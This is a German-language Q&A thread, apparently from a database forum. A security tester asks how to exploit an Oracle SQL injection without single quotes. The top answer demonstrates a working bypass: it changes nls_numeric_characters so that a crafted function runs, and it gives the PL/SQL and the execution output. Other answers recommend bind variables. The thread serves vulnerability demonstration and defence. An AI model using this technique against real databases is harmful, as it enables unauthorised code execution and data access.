Gibt es eine Möglichkeit, aus der Zeichenfolge auszubrechen und SQL zu injizieren, ohne ein einziges Anführungszeichen in oracle zu verwenden?

12

Ich teste eine Oracle-basierte Anwendung und habe folgenden Code gefunden:

Query = "SELECT name FROM employee WHERE id = '" + PKID + "';"

Das heißt, die Abfragezeichenfolge enthält Anführungszeichen um den PKID-Wert, der direkt aus der URL abgerufen wird.

Offensichtlich ist dies eine klassische SQL-Injection, die nur darauf wartet, ausgeführt zu werden ... mit der Ausnahme, dass sich die Anwendung hinter CA SiteMinder befindet, die verhindert, dass eine URL mit einem einzelnen Anführungszeichen (in beliebiger Form) an die Anwendung übergeben wird.

Gibt es eine Möglichkeit, aus der Zeichenfolge auszubrechen und SQL zu injizieren, ohne ein einziges Anführungszeichen zu verwenden?

Edit: Sorry, ich hätte klarer sein sollen - ich verstehe, wie es geschrieben werden soll, aber ich muss die Leute davon überzeugen, dass es ein ausnutzbares Problem ist. Im Moment, weil es hinter dem Siteminder liegt, der einfache Anführungszeichen blockiert, wird es eine Korrektur mit niedriger Priorität sein.

jdsnape
quelle
1
Haben Sie versucht, eine Bindevariable zu verwenden?
JHFB
Was @JHFB gesagt hat. Das Binden von Variablen ist Standard.
Philᵀᴹ

Antworten:

9

Ja, es ist möglich, einen SQL-Injection-Angriff durchzuführen, ohne Anführungszeichen im Parameter anzugeben.

Die Art und Weise, dies zu tun, ist ein Exploit, der damit zu tun hat, wie Zahlen und / oder Daten verarbeitet werden. Sie können auf Sitzungsebene das Format eines Datums oder einer Zahl angeben. Durch Manipulieren können Sie dann einen beliebigen Charakter injizieren.

In Großbritannien und den USA wird standardmäßig ein Komma verwendet, um das Tausendertrennzeichen in Zahlen und einen Punkt für den Dezimalpunkt anzugeben. Sie können diese Standardeinstellungen ändern, indem Sie Folgendes ausführen:

alter session set nls_numeric_characters = 'PZ';

Dies bedeutet, dass "P" jetzt der Dezimalpunkt und "Z" das Tausendertrennzeichen ist. So:

0P01

Ist die Zahl 0.01. Wenn Sie jedoch eine Funktion P01 anlegen, wird die Objektreferenz vor der Nummernkonvertierung abgeholt. Auf diese Weise können Sie Funktionen in der Datenbank ausführen, mit denen Sie die Befugnisse wie folgt erhöhen:

Erstellen Sie eine grundlegende Funktion "Get By Id":

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Erstellen Sie auch eine Funktion P01, die etwas Unerwünschtes bewirkt (in diesem Fall wird nur eine Tabelle erstellt, aber Sie haben die Idee):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

Und wir können loslegen:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Keine Anführungszeichen, aber wir haben es trotzdem geschafft, die "versteckte" Funktion P01 auszuführen und die Tabelle zu erstellen t!

Dies kann in der Praxis schwierig sein (und erfordert möglicherweise einige interne Kenntnisse / Hilfe), zeigt jedoch, dass Sie SQL ohne Anführungszeichen injizieren können. Durch Ändern der nls_date_formatDose können ähnliche Aktionen ausgeführt werden.

Die ursprünglichen Zahlenergebnisse stammen von David Litchfield und Sie können seine Arbeit hier lesen . Hier finden Sie Tom Kytes Diskussion darüber, wie Datumsangaben ausgenutzt werden können .

Chris Saxon
quelle
4

Möglicherweise können Sie den von Ihnen verwendeten Datentyp überladen, wodurch diese Anweisung fehlschlägt. Dann könnte das, was danach kommt, möglicherweise ausgeführt werden.

Vielleicht reicht es aus, es als Unicode-Byte-Array einzusenden und Sie von dieser Anweisung zu einer anderen zu bringen.

Wenn ein Loch offen ist, wird es missbraucht. Und das Blockieren aller Zeichenfolgen mit einem einzigen Anführungszeichen ist keine gute Idee, da Personen mit dem Nachnamen "O'Brian" (unter anderem) nicht Ihre Kunden sein können.

mrdenny
quelle
Ich denke du meinst "Loch" und nicht "ganz".
Ypercubeᵀᴹ
1

Versuchen Sie es mit einer Bindevariablen. Sie können es als eine Zahl deklarieren, und das sollte eine schädliche SQL-Injektion verhindern.

HINZUFÜGEN: Bindungsvariablen verbessern auch die Leistung und Skalierbarkeit, da der Abfrageplan kompiliert und zur Wiederverwendung gespeichert wird. Nur noch etwas, das Sie Ihrem Argument hinzufügen können. :)

JHFB
quelle
1
Er fragt nicht nach Möglichkeiten, die Injektion zu verhindern , sondern nach Möglichkeiten, sie zu missbrauchen .
Jeff
1
@ jeff Das OP fragt auch nach Gründen, diese Art von Code nicht zu verwenden. Wenn Sie keine Bindevariablen verwenden, wird die Leistung beeinträchtigt. Dies ist ein guter Grund, sie immer zu verwenden.
Vincent Malgrat
@ Vincent Malgrat: "Die Nichtverwendung von Bindevariablen zerstört die Leistung" ist falsch. Es ist wahr, dass die erneute Kompilierung einer Anweisung durch die Verwendung von Bindevariablen vermieden werden kann. Auch der gemeinsame Pool wird von vielen ähnlichen Anweisungen überflutet, wenn Sie keine Bindevariablen verwenden. Der Optimierer verfügt jedoch über weniger Informationen zum Erstellen eines Plans, wenn Bindevariablen anstelle von Literalwerten verwendet werden. Es gibt Situationen, in denen abhängig von den Werten der Bindevariablen (oder den Literalwerten) unterschiedliche Pläne ausgewählt werden sollten.
Wunder
@ miracle173 Natürlich wird es Ausnahmen geben, aber nicht für eine Primärschlüssel-Suche, wie sie vom OP vorgegeben wird, niemals =)
Vincent Malgrat